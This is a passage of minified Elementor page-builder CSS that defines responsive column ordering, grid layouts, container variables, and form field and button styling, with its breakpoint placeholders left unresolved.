(max-width:ELEMENTOR_SCREEN_TABLET_MAX){.elementor-reverse-tablet>.elementor-container>:first-child{order:10}.elementor-reverse-tablet>.elementor-container>:nth-child(2){order:9}.elementor-reverse-tablet>.elementor-container>:nth-child(3){order:8}.elementor-reverse-tablet>.elementor-container>:nth-child(4){order:7}.elementor-reverse-tablet>.elementor-container>:nth-child(5){order:6}.elementor-reverse-tablet>.elementor-container>:nth-child(6){order:5}.elementor-reverse-tablet>.elementor-container>:nth-child(7){order:4}.elementor-reverse-tablet>.elementor-container>:nth-child(8){order:3}.elementor-reverse-tablet>.elementor-container>:nth-child(9){order:2}.elementor-reverse-tablet>.elementor-container>:nth-child(10){order:1}}@media (min-width:ELEMENTOR_SCREEN_MOBILE_EXTRA_NEXT) and (max-width:ELEMENTOR_SCREEN_TABLET_MAX){.elementor-reverse-tablet>.elementor-container>:first-child{order:10}.elementor-reverse-tablet>.elementor-container>:nth-child(2){order:9}.elementor-reverse-tablet>.elementor-container>:nth-child(3){order:8}.elementor-reverse-tablet>.elementor-container>:nth-child(4){order:7}.elementor-reverse-tablet>.elementor-container>:nth-child(5){order:6}.elementor-reverse-tablet>.elementor-container>:nth-child(6){order:5}.elementor-reverse-tablet>.elementor-container>:nth-child(7){order:4}.elementor-reverse-tablet>.elementor-container>:nth-child(8){order:3}.elementor-reverse-tablet>.elementor-container>:nth-child(9){order:2}.elementor-reverse-tablet>.elementor-container>:nth-child(10){order:1}}@media (min-width:ELEMENTOR_SCREEN_MOBILE_NEXT) and (max-width:ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX){.elementor-reverse-tablet>.elementor-container>:first-child,.elementor-reverse-tablet>.elementor-container>:nth-child(2),.elementor-reverse-tablet>.elementor-container>:nth-child(3),.elementor-reverse-tablet>.elementor-container>:nth-child(4),.elementor-reverse-tablet>.elementor-container>:nth-child(5),.elementor-reverse-tablet>.elementor-container>:nth-child(6),.elementor-reverse-tablet>.elementor-container>:nth-child(7),.elementor-reverse-tablet>.elementor-container>:nth-child(8),.elementor-reverse-tablet>.elementor-container>:nth-child(9),.elementor-reverse-tablet>.elementor-container>:nth-child(10){order:0}.elementor-reverse-mobile_extra>.elementor-container>:first-child{order:10}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(2){order:9}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(3){order:8}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(4){order:7}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(5){order:6}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(6){order:5}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(7){order:4}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(8){order:3}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(9){order:2}.elementor-reverse-mobile_extra>.elementor-container>:nth-child(10){order:1}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor-reverse-mobile>.elementor-container>:first-child{order:10}.elementor-reverse-mobile>.elementor-container>:nth-child(2){order:9}.elementor-reverse-mobile>.elementor-container>:nth-child(3){order:8}.elementor-reverse-mobile>.elementor-container>:nth-child(4){order:7}.elementor-reverse-mobile>.elementor-container>:nth-child(5){order:6}.elementor-reverse-mobile>.elementor-container>:nth-child(6){order:5}.elementor-reverse-mobile>.elementor-container>:nth-child(7){order:4}.elementor-reverse-mobile>.elementor-container>:nth-child(8){order:3}.elementor-reverse-mobile>.elementor-container>:nth-child(9){order:2}.elementor-reverse-mobile>.elementor-container>:nth-child(10){order:1}.elementor-column{width:100%}}ul.elementor-icon-list-items.elementor-inline-items{display:flex;flex-wrap:wrap}ul.elementor-icon-list-items.elementor-inline-items .elementor-inline-item{word-break:break-word}.elementor-grid{display:grid;grid-column-gap:var(--grid-column-gap);grid-row-gap:var(--grid-row-gap)}.elementor-grid .elementor-grid-item{min-width:0}.elementor-grid-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}@media (min-width:ELEMENTOR_SCREEN_WIDESCREEN_MIN){.elementor-grid-widescreen-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-widescreen-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-widescreen-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-widescreen-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-widescreen-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-widescreen-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-widescreen-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-widescreen-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-widescreen-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-widescreen-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-widescreen-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-widescreen-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-widescreen-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-widescreen-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:ELEMENTOR_SCREEN_LAPTOP_MAX){.elementor-grid-laptop-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-laptop-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-laptop-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-laptop-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-laptop-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-laptop-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-laptop-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-laptop-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-laptop-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-laptop-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-laptop-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-laptop-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-laptop-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-laptop-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:ELEMENTOR_SCREEN_TABLET_EXTRA_MAX){.elementor-grid-tablet_extra-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-tablet_extra-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-tablet_extra-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-tablet_extra-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-tablet_extra-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-tablet_extra-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-tablet_extra-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-tablet_extra-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-tablet_extra-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-tablet_extra-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-tablet_extra-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-tablet_extra-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-tablet_extra-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-tablet_extra-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:ELEMENTOR_SCREEN_TABLET_MAX){.elementor-grid-tablet-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-tablet-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-tablet-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-tablet-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-tablet-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-tablet-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-tablet-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-tablet-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-tablet-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-tablet-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-tablet-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-tablet-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-tablet-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-tablet-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX){.elementor-grid-mobile_extra-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-mobile_extra-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-mobile_extra-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-mobile_extra-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-mobile_extra-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-mobile_extra-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-mobile_extra-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-mobile_extra-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-mobile_extra-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-mobile_extra-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-mobile_extra-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-mobile_extra-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-mobile_extra-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-mobile_extra-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor-grid-mobile-0 .elementor-grid{display:inline-block;width:100%;word-spacing:var(--grid-column-gap);margin-bottom:calc(-1 * var(--grid-row-gap))}.elementor-grid-mobile-0 .elementor-grid .elementor-grid-item{display:inline-block;margin-bottom:var(--grid-row-gap);word-break:break-word}.elementor-grid-mobile-1 .elementor-grid{grid-template-columns:repeat(1,1fr)}.elementor-grid-mobile-2 .elementor-grid{grid-template-columns:repeat(2,1fr)}.elementor-grid-mobile-3 .elementor-grid{grid-template-columns:repeat(3,1fr)}.elementor-grid-mobile-4 .elementor-grid{grid-template-columns:repeat(4,1fr)}.elementor-grid-mobile-5 .elementor-grid{grid-template-columns:repeat(5,1fr)}.elementor-grid-mobile-6 .elementor-grid{grid-template-columns:repeat(6,1fr)}.elementor-grid-mobile-7 .elementor-grid{grid-template-columns:repeat(7,1fr)}.elementor-grid-mobile-8 .elementor-grid{grid-template-columns:repeat(8,1fr)}.elementor-grid-mobile-9 .elementor-grid{grid-template-columns:repeat(9,1fr)}.elementor-grid-mobile-10 .elementor-grid{grid-template-columns:repeat(10,1fr)}.elementor-grid-mobile-11 .elementor-grid{grid-template-columns:repeat(11,1fr)}.elementor-grid-mobile-12 .elementor-grid{grid-template-columns:repeat(12,1fr)}}@media (min-width:ELEMENTOR_SCREEN_DESKTOP_MIN){#elementor-device-mode:after{content:"desktop"}}@media (min-width:ELEMENTOR_SCREEN_WIDESCREEN_MIN){#elementor-device-mode:after{content:"widescreen"}}@media (max-width:ELEMENTOR_SCREEN_LAPTOP_MAX){#elementor-device-mode:after{content:"laptop"}}@media (max-width:ELEMENTOR_SCREEN_TABLET_EXTRA_MAX){#elementor-device-mode:after{content:"tablet_extra"}}@media (max-width:ELEMENTOR_SCREEN_TABLET_MAX){#elementor-device-mode:after{content:"tablet"}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_EXTRA_MAX){#elementor-device-mode:after{content:"mobile_extra"}}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){#elementor-device-mode:after{content:"mobile"}}.e-con{--border-radius:0;--border-top-width:0px;--border-right-width:0px;--border-bottom-width:0px;--border-left-width:0px;--border-style:initial;--border-color:initial;--container-widget-width:100%;--container-widget-height:initial;--container-widget-flex-grow:0;--container-widget-align-self:initial;--content-width:min(100%,var(--container-max-width,1140px));--width:100%;--min-height:initial;--height:auto;--text-align:initial;--margin-top:0px;--margin-right:0px;--margin-bottom:0px;--margin-left:0px;--padding-top:var(--container-default-padding-top,10px);--padding-right:var(--container-default-padding-right,10px);--padding-bottom:var(--container-default-padding-bottom,10px);--padding-left:var(--container-default-padding-left,10px);--position:relative;--z-index:revert;--overflow:visible;--gap:var(--widgets-spacing,20px);--overlay-mix-blend-mode:initial;--overlay-opacity:1;--overlay-transition:0.3s;--e-con-grid-template-columns:repeat(3,1fr);--e-con-grid-template-rows:repeat(2,1fr);position:var(--position);width:var(--width);min-width:0;min-height:var(--min-height);height:var(--height);border-radius:var(--border-radius);z-index:var(--z-index);overflow:var(--overflow);transition:background var(--background-transition,.3s),border var(--border-transition,.3s),box-shadow var(--border-transition,.3s),transform var(--e-con-transform-transition-duration,.4s);--flex-wrap-mobile:wrap;margin-block-start:var(--margin-block-start);margin-inline-end:var(--margin-inline-end);margin-block-end:var(--margin-block-end);margin-inline-start:var(--margin-inline-start);padding-inline-start:var(--padding-inline-start);padding-inline-end:var(--padding-inline-end);--margin-block-start:var(--margin-top);--margin-block-end:var(--margin-bottom);--margin-inline-start:var(--margin-left);--margin-inline-end:var(--margin-right);--padding-inline-start:var(--padding-left);--padding-inline-end:var(--padding-right);--padding-block-start:var(--padding-top);--padding-block-end:var(--padding-bottom);--border-block-start-width:var(--border-top-width);--border-block-end-width:var(--border-bottom-width);--border-inline-start-width:var(--border-left-width);--border-inline-end-width:var(--border-right-width)}body.rtl .e-con{--padding-inline-start:var(--padding-right);--padding-inline-end:var(--padding-left);--margin-inline-start:var(--margin-right);--margin-inline-end:var(--margin-left);--border-inline-start-width:var(--border-right-width);--border-inline-end-width:var(--border-left-width)}.e-con.e-flex{--flex-direction:column;--flex-basis:auto;--flex-grow:0;--flex-shrink:1;flex:var(--flex-grow) var(--flex-shrink) var(--flex-basis)}.e-con-full,.e-con>.e-con-inner{text-align:var(--text-align);padding-block-start:var(--padding-block-start);padding-block-end:var(--padding-block-end)}.e-con-full.e-flex,.e-con.e-flex>.e-con-inner{flex-direction:var(--flex-direction)}.e-con,.e-con>.e-con-inner{display:var(--display)}.e-con.e-grid{--grid-justify-content:start;--grid-align-content:start;--grid-auto-flow:row}.e-con.e-grid,.e-con.e-grid>.e-con-inner{grid-template-columns:var(--e-con-grid-template-columns);grid-template-rows:var(--e-con-grid-template-rows);justify-content:var(--grid-justify-content);align-content:var(--grid-align-content);grid-auto-flow:var(--grid-auto-flow);justify-items:var(--justify-items);align-items:var(--align-items)}.e-con-boxed.e-flex{flex-direction:column;flex-wrap:nowrap;justify-content:normal;align-items:normal;align-content:normal}.e-con-boxed.e-grid{justify-items:legacy;grid-template-columns:1fr;grid-template-rows:1fr}.e-con-boxed{text-align:initial;gap:initial}.e-con.e-flex>.e-con-inner{flex-wrap:var(--flex-wrap);justify-content:var(--justify-content);align-items:var(--align-items);align-content:var(--align-content);flex-basis:auto;flex-grow:1;flex-shrink:1;align-self:auto}.e-con.e-grid>.e-con-inner{justify-items:var(--justify-items);align-items:var(--align-items)}.e-con>.e-con-inner{gap:var(--gap);width:100%;max-width:var(--content-width);margin:0 auto;padding-inline-start:0;padding-inline-end:0;height:100%}:is(.elementor-section-wrap,[data-elementor-id])>.e-con{--margin-left:auto;--margin-right:auto;max-width:min(100%,var(--width))}.e-con .elementor-widget.elementor-widget{margin-block-end:0}.e-con:before,.e-con>.elementor-background-slideshow:before,.e-con>.elementor-motion-effects-container>.elementor-motion-effects-layer:before,:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container:before{content:var(--background-overlay);display:block;position:absolute;mix-blend-mode:var(--overlay-mix-blend-mode);opacity:var(--overlay-opacity);transition:var(--overlay-transition,.3s);border-radius:var(--border-radius);border-style:var(--border-style);border-color:var(--border-color);border-block-start-width:var(--border-block-start-width);border-inline-end-width:var(--border-inline-end-width);border-block-end-width:var(--border-block-end-width);border-inline-start-width:var(--border-inline-start-width);top:calc(0px - var(--border-top-width));left:calc(0px - var(--border-left-width));width:max(100% + var(--border-left-width) + var(--border-right-width),100%);height:max(100% + var(--border-top-width) + var(--border-bottom-width),100%)}.e-con:before{transition:background var(--overlay-transition,.3s),border-radius var(--border-transition,.3s),opacity var(--overlay-transition,.3s)}.e-con>.elementor-background-slideshow,:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container{border-radius:var(--border-radius);border-style:var(--border-style);border-color:var(--border-color);border-block-start-width:var(--border-block-start-width);border-inline-end-width:var(--border-inline-end-width);border-block-end-width:var(--border-block-end-width);border-inline-start-width:var(--border-inline-start-width);top:calc(0px - var(--border-top-width));left:calc(0px - var(--border-left-width));width:max(100% + var(--border-left-width) + var(--border-right-width),100%);height:max(100% + var(--border-top-width) + var(--border-bottom-width),100%)}@media (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container.elementor-hidden-phone{display:none}}:is(.e-con,.e-con>.e-con-inner)>.elementor-background-video-container:before{z-index:1}:is(.e-con,.e-con>.e-con-inner)>.elementor-background-slideshow:before{z-index:2}.e-con .elementor-widget{min-width:0}.e-con .elementor-widget-empty,.e-con .elementor-widget-google_maps,.e-con .elementor-widget-video,.e-con .elementor-widget.e-widget-swiper{width:100%}.e-con>.e-con-inner>.elementor-widget>.elementor-widget-container,.e-con>.elementor-widget>.elementor-widget-container{height:100%}.e-con.e-con>.e-con-inner>.elementor-widget,.elementor.elementor .e-con>.elementor-widget{max-width:100%}@media (max-width:767px){.e-con.e-flex{--width:100%;--flex-wrap:var(--flex-wrap-mobile)}}.elementor-form-fields-wrapper{display:flex;flex-wrap:wrap}.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group .elementor-field-subgroup,.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group>.elementor-select-wrapper,.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group>input,.elementor-form-fields-wrapper.elementor-labels-above .elementor-field-group>textarea{flex-basis:100%;max-width:100%}.elementor-form-fields-wrapper.elementor-labels-inline>.elementor-field-group .elementor-select-wrapper,.elementor-form-fields-wrapper.elementor-labels-inline>.elementor-field-group>input{flex-grow:1}.elementor-field-group{flex-wrap:wrap;align-items:center}.elementor-field-group.elementor-field-type-submit{align-items:flex-end}.elementor-field-group .elementor-field-textual{width:100%;max-width:100%;border:1px solid #69727d;background-color:transparent;color:#1f2124;vertical-align:middle;flex-grow:1}.elementor-field-group .elementor-field-textual:focus{box-shadow:inset 0 0 0 1px rgba(0,0,0,.1);outline:0}.elementor-field-group .elementor-field-textual::-moz-placeholder{color:inherit;font-family:inherit;opacity:.6}.elementor-field-group .elementor-field-textual::placeholder{color:inherit;font-family:inherit;opacity:.6}.elementor-field-group .elementor-select-wrapper{display:flex;position:relative;width:100%}.elementor-field-group .elementor-select-wrapper select{-webkit-appearance:none;-moz-appearance:none;appearance:none;color:inherit;font-size:inherit;font-family:inherit;font-weight:inherit;font-style:inherit;text-transform:inherit;letter-spacing:inherit;line-height:inherit;flex-basis:100%;padding-inline-end:20px}.elementor-field-group .elementor-select-wrapper:before{content:"\e92a";font-family:eicons;font-size:15px;position:absolute;top:50%;transform:translateY(-50%);right:10px;pointer-events:none;text-shadow:0 0 3px rgba(0,0,0,.3)}.elementor-field-group.elementor-field-type-select-multiple .elementor-select-wrapper:before{content:""}.elementor-field-subgroup{display:flex;flex-wrap:wrap}.elementor-field-subgroup .elementor-field-option label{display:inline-block}.elementor-field-subgroup.elementor-subgroup-inline .elementor-field-option{padding-inline-end:10px}.elementor-field-subgroup:not(.elementor-subgroup-inline) .elementor-field-option{flex-basis:100%}.elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option input,.elementor-field-type-acceptance .elementor-field-subgroup .elementor-field-option label,.elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option input,.elementor-field-type-checkbox .elementor-field-subgroup .elementor-field-option label,.elementor-field-type-radio .elementor-field-subgroup .elementor-field-option input,.elementor-field-type-radio .elementor-field-subgroup .elementor-field-option label{display:inline}.elementor-field-label{cursor:pointer}.elementor-mark-required .elementor-field-label:after{content:"*";color:red;padding-inline-start:.2em}.elementor-field-textual{line-height:1.4;font-size:15px;min-height:40px;padding:5px 14px;border-radius:3px}.elementor-field-textual.elementor-size-xs{font-size:13px;min-height:33px;padding:4px 12px;border-radius:2px}.elementor-field-textual.elementor-size-md{font-size:16px;min-height:47px;padding:6px 16px;border-radius:4px}.elementor-field-textual.elementor-size-lg{font-size:18px;min-height:59px;padding:7px 20px;border-radius:5px}.elementor-field-textual.elementor-size-xl{font-size:20px;min-height:72px;padding:8px 24px;border-radius:6px}.elementor-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:100%}.elementor-button-align-stretch .e-form__buttons__wrapper{flex-basis:50%;flex-grow:1}.elementor-button-align-stretch .e-form__buttons__wrapper__button{flex-basis:100%}.elementor-button-align-center .e-form__buttons,.elementor-button-align-center .elementor-field-type-submit{justify-content:center}.elementor-button-align-start .e-form__buttons,.elementor-button-align-start .elementor-field-type-submit{justify-content:flex-start}.elementor-button-align-end .e-form__buttons,.elementor-button-align-end .elementor-field-type-submit{justify-content:flex-end}.elementor-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:auto}.elementor-button-align-center .e-form__buttons__wrapper,.elementor-button-align-end .e-form__buttons__wrapper,.elementor-button-align-start .e-form__buttons__wrapper{flex-grow:0}.elementor-button-align-center .e-form__buttons__wrapper,.elementor-button-align-center .e-form__buttons__wrapper__button,.elementor-button-align-end .e-form__buttons__wrapper,.elementor-button-align-end .e-form__buttons__wrapper__button,.elementor-button-align-start .e-form__buttons__wrapper,.elementor-button-align-start .e-form__buttons__wrapper__button{flex-basis:auto}@media screen and (max-width:ELEMENTOR_SCREEN_TABLET_MAX){.elementor-tablet-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:100%}.elementor-tablet-button-align-stretch .e-form__buttons__wrapper{flex-basis:50%;flex-grow:1}.elementor-tablet-button-align-stretch .e-form__buttons__wrapper__button{flex-basis:100%}.elementor-tablet-button-align-center .e-form__buttons,.elementor-tablet-button-align-center .elementor-field-type-submit{justify-content:center}.elementor-tablet-button-align-start .e-form__buttons,.elementor-tablet-button-align-start .elementor-field-type-submit{justify-content:flex-start}.elementor-tablet-button-align-end .e-form__buttons,.elementor-tablet-button-align-end .elementor-field-type-submit{justify-content:flex-end}.elementor-tablet-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-tablet-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-tablet-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:auto}.elementor-tablet-button-align-center .e-form__buttons__wrapper,.elementor-tablet-button-align-end .e-form__buttons__wrapper,.elementor-tablet-button-align-start .e-form__buttons__wrapper{flex-grow:0}.elementor-tablet-button-align-center .e-form__buttons__wrapper,.elementor-tablet-button-align-center .e-form__buttons__wrapper__button,.elementor-tablet-button-align-end .e-form__buttons__wrapper,.elementor-tablet-button-align-end .e-form__buttons__wrapper__button,.elementor-tablet-button-align-start .e-form__buttons__wrapper,.elementor-tablet-button-align-start .e-form__buttons__wrapper__button{flex-basis:auto}}@media screen and (max-width:ELEMENTOR_SCREEN_MOBILE_MAX){.elementor-mobile-button-align-stretch .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:100%}.elementor-mobile-button-align-stretch .e-form__buttons__wrapper{flex-basis:50%;flex-grow:1}.elementor-mobile-button-align-stretch .e-form__buttons__wrapper__button{flex-basis:100%}.elementor-mobile-button-align-center .e-form__buttons,.elementor-mobile-button-align-center .elementor-field-type-submit{justify-content:center}.elementor-mobile-button-align-start .e-form__buttons,.elementor-mobile-button-align-start .elementor-field-type-submit{justify-content:flex-start}.elementor-mobile-button-align-end .e-form__buttons,.elementor-mobile-button-align-end .elementor-field-type-submit{justify-content:flex-end}.elementor-mobile-button-align-center .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-mobile-button-align-end .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button,.elementor-mobile-button-align-start .elementor-field-type-submit:not(.e-form__buttons__wrapper) .elementor-button{flex-basis:auto}.elementor-mobile-button-align-center .e-form__buttons__wrapper,.elementor-mobile-button-align-end .e-form__buttons__wrapper,.elementor-mobile-button-align-start .e-form__buttons__wrapper{flex-grow:0}.elementor-mobile-button-align-center .e-form__buttons__wrapper,.elementor-mobile-button-align-center .e-form__buttons__wrapper__button,.elementor-mobile-button-align-end .e-form__buttons__wrapper,.elementor-mobile-button-align-end .e-form__buttons__wrapper__button,.elementor-mobile-button-align-start .e-form__buttons__wrapper,.elementor-mobile-button-align-start .e-form__buttons__wrapper__button{flex-basis:auto}}.elementor-error .elementor-field{border-color:#d9534f}.elementor-error .help-inline{color:#d9534f;font-size:.9em}.elementor-message{margin:10px 0;font-size:1em;line-height:1}.elementor-message:before{content:"\e90e";display:inline-block;font-family:eicons;font-weight:400;font-style:normal;vertical-align:middle;margin-inline-end:5px}.elementor-message.elementor-message-danger{color:#d9534f}.elementor-message.elementor-message-danger:before{content:"\e87f"}.elementor-message.form-message-success{color:#5cb85c}.elementor-form .elementor-button{padding-block-start:0;padding-block-end:0;border:none}.elementor-form .elementor-button-content-wrapper,.elementor-form .elementor-button>span{display:flex;justify-content:center;flex-direction:row;gap:5px}.elementor-form .elementor-button.elementor-size-xs{min-height:33px}.elementor-form .elementor-button.elementor-size-sm{min-height:40px}.elementor-form .elementor-button.elementor-size-md{min-height:47px}.elementor-form .elementor-button.elementor-size-lg{min-height:59px}.elementor-form .elementor-button.elementor-size-xl{min-height:72px}.elementor-element .elementor-widget-container{transition:background .3s,border .3s,border-radius .3s,box-shadow .3s,transform var(--e-transform-transition-duration,.4s)}.elementor-heading-title{padding:0;margin:0;line-height:1}.elementor-button{display:inline-block;line-height:1;background-color:#69727d;font-size:15px;padding:12px 24px;border-radius:3px;color:#fff;fill:#fff;text-align:center;transition:all .3s}.elementor-button:focus,.elementor-button:hover,.elementor-button:visited{color:#fff}.elementor-button-content-wrapper{display:flex;justify-content:center;flex-direction:row;gap:5px}.elementor-button-icon svg{width:1em;height:auto}.elementor-button-icon .e-font-icon-svg{height:1em}.elementor-button-text{display:inline-block}.elementor-button.elementor-size-xs{font-size:13px;padding:10px 20px;border-radius:2px}.elementor-button.elementor-size-md{font-size:16px;padding:15px 30px;border-radius:4px}.elementor-button.elementor-size-lg{font-size:18px;padding:20px 40px;border-radius:5px}.elementor-button.elementor-size-xl{font-size:20px;padding:25px 50px;border-radius:6px}.elementor-button span{text-decoration:inherit}.elementor-element.elementor-button-info .elementor-button{background-color:#5bc0de}.elementor-element.elementor-button-success .elementor-button{background-color:#5cb85c}.elementor-element.elementor-button-warning .elementor-button{background-color:#f0ad4e}.elementor-element.elementor-button-danger .elementor-button{background-color:#d9534f}.elementor-widget-button .elementor-button .elementor-button-info{background-color:#5bc0de}.elementor-widget-button .elementor-button .elementor-button-success{background-color:#5cb85c}.elementor-widget-button .elementor-button .elementor-button-warning{background-color:#f0ad4e}.elementor-widget-button .elementor-button 